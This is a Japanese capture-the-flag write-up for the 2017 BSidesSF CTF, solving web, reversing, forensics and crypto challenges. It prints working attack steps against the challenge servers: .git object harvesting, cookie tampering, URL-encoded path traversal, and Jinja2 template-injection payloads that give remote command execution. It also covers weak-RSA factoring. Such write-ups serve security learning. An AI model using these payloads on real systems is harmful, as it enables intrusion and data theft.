BSidesSF CTF Writeup
BSidesSF CTFにチームg0tiu5aで参加していました.このCTFはBSidesSFというカンファレンス中に開催されているものらしく一部問題は会場にいないと解くことが出来ないというような問題でした.今週末にあった他のCTFと比べ,時間は全然取れませんでしたが(月曜日はほぼなにもしてない)いろんな問題を解くだけでなく,個人的に学びも得られたよいCTFでした.
最終的な順位は73位で得点は1499 pt でした.
あと1問でWebが全完だったのに悔しい〜
以下からWriteupです.
Web
the-year-2000 (100 pt)
/.git
があるので頑張ってダウンロードします./.git
自体は403が返ってきてしまうため,wget --mirror
等が使えず諦めてGitのローカルリポジトリにあるようなディレクトリを片っ端から漁っていきました.
はじめに/.git/refs/heads/master
をよみハッシュから良い感じの場所に配置するものを以下のように書きました.
dll () { arg=$1 f="${arg:0:2}" l="${arg:2}" mkdir $f curl http://theyear2000.ctf.bsidessf.net/.git/objects/$f/$l -o $f/$l git cat-file -p $arg }
$ dll 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30 ... $ git cat-file -p 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30 tree f3a3f88425975542bb0058651867f8090fed250f parent e039a6684f53e818926d3f62efd25217b25fc97e author Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000 committer Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000 Wooops, didn't want to commit that. Rebased.
これをひたすら繰り返していくとログは2つになります.
$ git log commit 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30 Author: Mark Zuckerberg <thezuck@therealzuck.zuck> Date: Sat Feb 11 22:54:32 2017 +0000 Wooops, didn't want to commit that. Rebased. commit e039a6684f53e818926d3f62efd25217b25fc97e Author: Mark Zuckerberg <thezuck@therealzuck.zuck> Date: Sat Feb 11 22:54:21 2017 +0000 First commit on my website
前後2つのコミットを比較してもフラグらしきものは見つかりません.
$ git diff HEAD~1 diff --git a/index.html b/index.html index 7c57d17..e16b652 100644 --- a/index.html +++ b/index.html @@ -15,7 +15,7 @@ pre { </style> </head> <body> -<h1>Welcome to my homepage!!!!</h1> +<h1>Welcome to my homepage, there are no flags here.!!!!</h1> <hr> <p>I made this website all by myself using these tools <ul>
そこでコミットログを読んでいるとrebaseしたといっているのでreflog
が残っているのではないかと考えます.
このようなGitの履歴はすべて.git/logs
にありますが探していませんでした.
ダウンロードしてくると次のような値が出てくる.
$ cat .git/logs/HEAD 0000000000000000000000000000000000000000 e039a6684f53e818926d3f62efd25217b25fc97e Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853661 +0000 commit (initial): First commit onmy website e039a6684f53e818926d3f62efd25217b25fc97e 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0 Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000 commit: Fixed a spelling error 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0 e039a6684f53e818926d3f62efd25217b25fc97e Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853668 +0000 reset: moving to HEAD~1 e039a6684f53e818926d3f62efd25217b25fc97e 4eec6b9c6e464c35fff1efb8444dd0ac1ae67b30 Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853672 +0000 commit: Wooops, didn't want to commit that. Rebased.
$ git cat-file -p 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0 tree bd72ee2c7c5adb017076fd47a92858cef2a04c11 parent e039a6684f53e818926d3f62efd25217b25fc97e author Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000 committer Mark Zuckerberg <thezuck@therealzuck.zuck> 1486853667 +0000 Fixed a spelling error $ git cat-file -p bd72ee2c7c5adb017076fd47a92858cef2a04c11 100644 blob 7baff32394e517c44f35b75079a9496559c88053 index.html $ git cat-file -p 7baff32394e517c44f35b75079a9496559c88053 ... Your flag is... FLAG:what_is_HEAD_may_never_die
Flag: FLAG:what_is_HEAD_may_never_die
こういうGitリポジトリ系多い気がするので頑張って漁るツール書こうかなと思いました.
easyauth (30 pt)
普通にguestでログインしてクッキー内のusernameをadministrator
に書き換えるだけ.
Flag: FLAG:0076ecde2daae415d7e5ccc7db909e7e
Zumbo 1 (20 pt)
すごく勉強になったZumboシリーズ.はじめディレクトリトラバーサルが全然できず死んでいたのですがよく考えたら/
をurlencodeしていなかったorz
$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f/code/server.py"
でソースコードを得てその中にflag1があります.
Flag: FLAG: FIRST_FLAG_WASNT_HARD
Zumbo 2 (100 pt)
先程取得したソースコードは以下です.
import flask, sys, os import requests app = flask.Flask(__name__) counter = 12345672 @app.route('/<path:page>') def custom_page(page): if page == 'favicon.ico': return '' global counter counter += 1 try: template = open(page).read() except Exception as e: template = str(e) template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__) return flask.render_template_string(template, name='test', counter=counter); @app.route('/') def home(): return flask.redirect('/index.template'); if __name__ == '__main__': flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD' with open('/flag') as f: flag2 = f.read() flag3 = requests.get('http://vault:8080/flag').text print "Ready set go!" sys.stdout.flush() app.run(host="0.0.0.0")
flag2は /flag
にあるようですね.これよりまたディレクトリトラバーサルします.
$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/%2e%2e%2f/flag" FLAG: RUNNER_ON_SECOND_BASE <!-- page: ..//flag, src: /code/server.py -->
Flag: FLAG: RUNNER_ON_SECOND_BASE
Zumbo 3 (250 pt)
さて,Zumbo 3が一番大変でしたが一番勉強になりました.
flag3は flag3 = requests.get('http://vault:8080/flag').text
となっており内部で8080番のHTTPサーバーからフラグを読み出す必要があります.
そういえば昔HackerNewsか何かでFlaskでよく使われるテンプレートエンジンJinja 2にはサーバーサイドテンプレートインジェクションの脆弱性があるぞと言うような記事を読み色々と調べてみたところ,それらしき記事を見つけました.
これらを読んでいくと外部からJinja 2のテンプレート{{ }}
の中に文字を入力できるとヤバイぞということがわかりました.
今回では
template += "\n<!-- page: %s, src: %s -->\n" % (page, __file__)
の部分がやばいわけです.(pageは外部から来ますからね)
試しに{{10+30}}
を入れてみます.
$ curl "http://zumbo-8ac445b1.ctf.bsidessf.net/$(urlencode {{10+30}})" [Errno 2] No such file or directory: u'40' <!-- page: 40, src: /code/server.py -->
やっぱり.そこで調べた方法を元にPythonのコードをサーバー側に配置し任意のPythonコードを実行することにします.
まず
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/mocho.cfg', 'w').write('from subprocess import check_output;RUNCMD = check_output') }}
をurlencodeしたものをGETリクエストで投げます. 次に
{{ config['RUNCMD']('/usr/bin/curl http://vault:8080/flag',shell=True) }}
をurlencodeしたものでGETリクエストを投げれば何度かに1度成功します. (多分ですが裏がgunicornで複数プロセス立ち上がっているため1度目に成功したプロセスに2度め当たるまで500が返ってくるのだと思います)
Flag: FLAG: BRICK_HOUSE_BEATS_THE_WOLF
いやぁサーバーサイドテンプレートインジェクション… 覚えましたし
Reversing
Skipper (75 pt)
バイナリファイルを読むと 0x8048a63
からフラグを出力する関数みたいなのがあるのでそこまでGDBで飛びます.
gdb-peda$ start gdb-peda$ set $eip=0x8048a63 gdb-peda$ c Continuing. Result: FLAG:f51579e9ca38ba87d71539a9992887ff [Inferior 1 (process 12221) exited normally] Warning: not running or target is remote
Flag: FLAG:f51579e9ca38ba87d71539a9992887ff
Easy (10 pt)
strings
するだけ問.
$ strings easy-64 | grep FLAG FLAG:db2f62a36a018bce28e46d976e3f9864
Flag: FLAG:db2f62a36a018bce28e46d976e3f9864
Pinlock (150 pt)
Androidの実行形式であるapkファイルが渡されます. デコンパイルしてソースコードを読むと何かDBに詰まったデータが暗号化されて保存されているみたいです. VM上で実行してみるとpinを入力せよとなっています.
DB上でpinとしてSHA-1ハッシュで保存されていた値があったのでそれを検索してみたところ,7498
であることが判明しました.
しかしこの値で解読してもフラグが出てきません.よく見ると内部のCryptoUtilsは第1引数の値によって鍵が異なるようです.もう一度DBを漁ると別の値を見つけました.
Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g=
そこでこれを内部で書かれているような処理で解読します. (以下はJavaのコード)
import java.security.MessageDigest; import java.util.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; public class Solver { public static void main(String[] args) throws Exception { // String pin = "d8531a519b3d4dfebece0259f90b466a23efc57b"; String pin = "7498"; // String secret = "hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB"; String secret = "Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g="; // setText(new CryptoUtilities("v1", pin).decrypt(new DatabaseUtilities(getApplicationContext()).fetchSecret())); // decrypt // 1. cipher to base64 decode byte[] ciphertextBytes = Base64.getDecoder().decode(secret); // 2. get key // SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("SHA-1").digest("t0ps3kr3tk3y".getBytes("UTF-8")), 16), "AES"); byte[] salt = "SampleSalt".getBytes(); SecretKeySpec key = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(pin.toCharArray(), salt, 1000, 0x80)).getEncoded(), "AES"); // SecretKeySpec key = new SecretKeySpec(secret.getBytes("UTF-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(2, key); System.out.println(new String(cipher.doFinal(ciphertextBytes), "UTF-8")); } }
するとFlagが得られます.
Flag: Flag:OnlyAsStrongAsWeakestLink
時間があれば以下の問題にも取り組みたかったorz
- Easyarm
- Flag Receiver
- Skipper 2
Forensics
easycap (40 pt)
Wiresharkで開いてFollow TCP Streamだけで解ける問題.
Flag: FLAG:385b87afc8671dee07550290d16a8071
Crypto
vhash (450 pt)
こんな配点が高いので無視していたんですが150チーム近く解いていたので簡単なのでは? と思いトライ. コードを読みつつWeb側での反応を見ているとどんな時刻でも同じハッシュ値が帰ってきている事がわかりました. そこでどっかのWeb問でやったようにusernameをadminに変えてあげるとFlagが出ます.
Flag: FLAG:180e2300112ef5a4f23c93cfdec8d780
はじめ雰囲気的にLength Extension Attack系やろ〜と思っていたのですがどうやらそれはfixedのほうみたいですね.
[]root (250 pt)
Wiresharkで追いかけてみるとHTTPS通信のパケットのようです.証明書の部分だけ抜き取って公開鍵を見てみます.
$ openssl x509 -in e_corp.der -inform der -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 9e:6e:0d:aa:09:10:fa:fb Signature Algorithm: sha256WithRSAEncryption Issuer: C=US, ST=New York, L=New York, O=E Corp, CN=pki.e-corp.com/emailAddress=pki@e-corp.com Validity Not Before: Feb 1 00:39:00 2017 GMT Not After : Feb 1 00:39:00 2018 GMT Subject: C=US, ST=New York, L=New York, O=E Corp, CN=pki.e-corp.com/emailAddress=pki@e-corp.com Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (4103 bit) Modulus (4103 bit): 72:6f:6f:74:00:00:00:00:00:00:00:00:00:00:00: 00:00:00:00:00:00:1b:00:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:ff:77:77:77:7b:00:00:00: 00:00:00:00:00:1f:ff:ff:ff:ff:ff:fb:00:00:00: 00:00:00:00:00:1f:ff:ff:ff:ff:fb:00:00:00:00: 00:00:00:00:00:1f:ff:ff:ff:ff:fb:00:00:00:00: 00:00:00:00:00:1f:ff:ff:ff:ff:ff:fb:00:00:00: 00:00:00:00:00:1f:ff:ff:22:22:22:2b:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 00:00:00:00:00:1f:ff:fb:00:00:00:00:00:00:00: 26:52:93:c4:42:2b:e3:53:26:38:fe:eb:2a:63:5e: 86:5e:5b:cc:d4:86:2d:14:91:f8:e4:6e:d4:1a:fd: ab:32:ab:1e:91:3c:29:6c:45:a7:23:a3:71:cc:4a: d2:18:d2:73:a4:94:ac:50:1a:1c:67:75:76:b8:4d: 3a:17:00:b2:4e:38:f3:d7:c8:09:0c:95:27:67:f8: a9:da:53:2e:b4:49:6a:95:3f:a2:b2:64:1f:93:af: 58:32:1e:49:1a:d6:b3:e1:f6:60:0e:a1:75:76:35: a2:d4:75:62:df:f2:f2:45:bf:c8:ed:51:14:20:93: 1d:e2:46:d5:63:34:d8:89:7d:64:65:b2:27:f6:c0: 95:ec:e1:ad:99:4c:75:51:f0:8d:bc:21:f8:b4:06: 91:ee:51:f5:f7:2d:05:2d:93:52:06:2f:90:b0:e7: c5:2c:2e:b1:81:96:c2:c9:85:10:1a:f4:ea:c6:74: 99:39:6c:62:41:ad:4f:24:39:ed:11:f8:7d:67:e7: 3a:23:9b:86:5c:45:d6:5a:61:cf:0f:56:08:2d:e8: 31:b9:7f:b2:8a:e8:22:2a:71:95:e0:ec:06:c0:82: 81:ff:c1:6e:71:06:e7:7e:68:b8:c4:51:04:24:be: eb:55:82:fe:21:cc:34:5f:53:53:46:82:b7:5c:36: 8d:73:c9 Exponent: 31337 (0x7a69) ...
公開鍵4103ビット,Exponentが31337なる怪しい鍵が出てきます.前半部が0やfなどや秘密鍵の大きさが2のべき乗でないなどからこの鍵自体の脆弱性を疑いました. ひとまず検索してみますが既知の弱い鍵などではないようです. そこでFermat法を用いて素因数分解を試みると1秒も経たずに成功しました.
下位5桁が18933
と19973
と滅茶苦茶隣り合った素数でした.
これを用いてrsatoolを使ってPEMキーを生成します.気をつける点としてはe = 31337という点でしょうか(これを忘れて1時間溶かした)
最後にWiresharkに読み込ませ通信を読んでみます.
レスポンスの後半がFlagでした.
Flag: when_solving_problems_dig_at_the_roots_instead_of_just_hacking_at_the_leaves
鍵長は長くて(見た感じ素因数分解が現実的な時間で終わらなそうな公開鍵でも)場合によってはきっちり解けるという問題で勉強になりました.
また,17チームしか解けていない問題を解けたので個人的には大満足 v(´∀`*v)ピース
まとめ
時間もほとんど取れず1人でただひたすら空き時間を見つけては問題を解くというようなスタイルでやっていたので普通にきつかったですね. Harekazeに所属しながらお前どっちでCTFやってんねんという指摘がありますが個人的にでかくてマシなCTFはHarekazeで,Harekazeでも出そうになかったりクソっぽいCTF,または1人でやりたいなというときなどはこっち(g0tiu5a)で出場していこうかなと思います.
また今回は1人でやっていたのですがPwnだけは手を付けられんかったぁorz.マジで最後の砦感満載なPwnを何とかしたいです.
終わりだよ〜(○・▽・○)